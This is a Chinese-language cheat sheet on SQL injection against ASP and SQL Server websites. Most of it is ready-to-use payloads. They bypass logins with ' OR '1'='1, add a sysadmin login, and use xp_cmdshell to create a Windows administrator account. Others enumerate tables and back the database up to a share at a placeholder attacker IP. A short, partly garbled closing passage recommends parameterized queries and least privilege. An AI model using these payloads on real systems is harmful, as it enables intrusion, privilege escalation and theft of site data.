許多 ASP + SQL Server 架構的網站存在注入漏洞,主因在於程式開發人員未正確過濾使用者輸入,直接拼接 SQL 字串。此類漏洞與作業系統或資料庫版本無關,亦無補丁可修補,純屬程式碼缺失。
輸入 ' OR '1'='1 使 WHERE 條件永真,繞過驗證。
嘗試 ; EXEC sp_addlogin hax 新增登入,但常受限於:
AND topic=...)-- 截斷後續語句:; EXEC sp_addlogin hax;--; EXEC master.dbo.sp_addlogin hax;--
; EXEC master.dbo.sp_password NULL, hax, hax;--
; EXEC master.dbo.sp_addsrvrolemember hax, sysadmin;--
; EXEC master.dbo.xp_cmdshell 'net user hax hax /add';--
; EXEC master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--
前提:ASP 連線使用的 SQL 帳號為 sysadmin 角色成員。虛擬主機環境通常不會有此權限。
利用 AND 1<>(SELECT COUNT(*) FROM [user]) 判斷資料表/欄位是否存在 (依錯誤訊息區分)。常見表名:user, users, admin, news;常見欄位:id, username, password, email。
DECLARE @a SYSNAME; SET @a = DB_NAME(); BACKUP DATABASE @a TO DISK='\\攻擊者IP\share\bak.dat';-- 將資料庫備份至攻擊者共享資料夾 (需備份權限)。
在防火牆開啟 ICMP/139/445 連接埠監控,執行 ; EXEC master.dbo.xp_cmdshell 'ping 攻擊者IP';--。若收到 ping,確認 SQL 服務帳號有 xp_cmdshell 權限且得知資料庫真實 IP (許多架構 Web/DB 分離)。
SqlParameter 或 Command.Parameters。SELECT/INSERT/UPDATE/DELETE,嚴禁 sysadmin、db_owner 或 xp_cmdshell 權限。SQL 注入本質是「資料當指令執行」。唯有參數化查詢徹底區隔程式碼與資料,配合最小權限部署,才能從根本杜絕此類風險。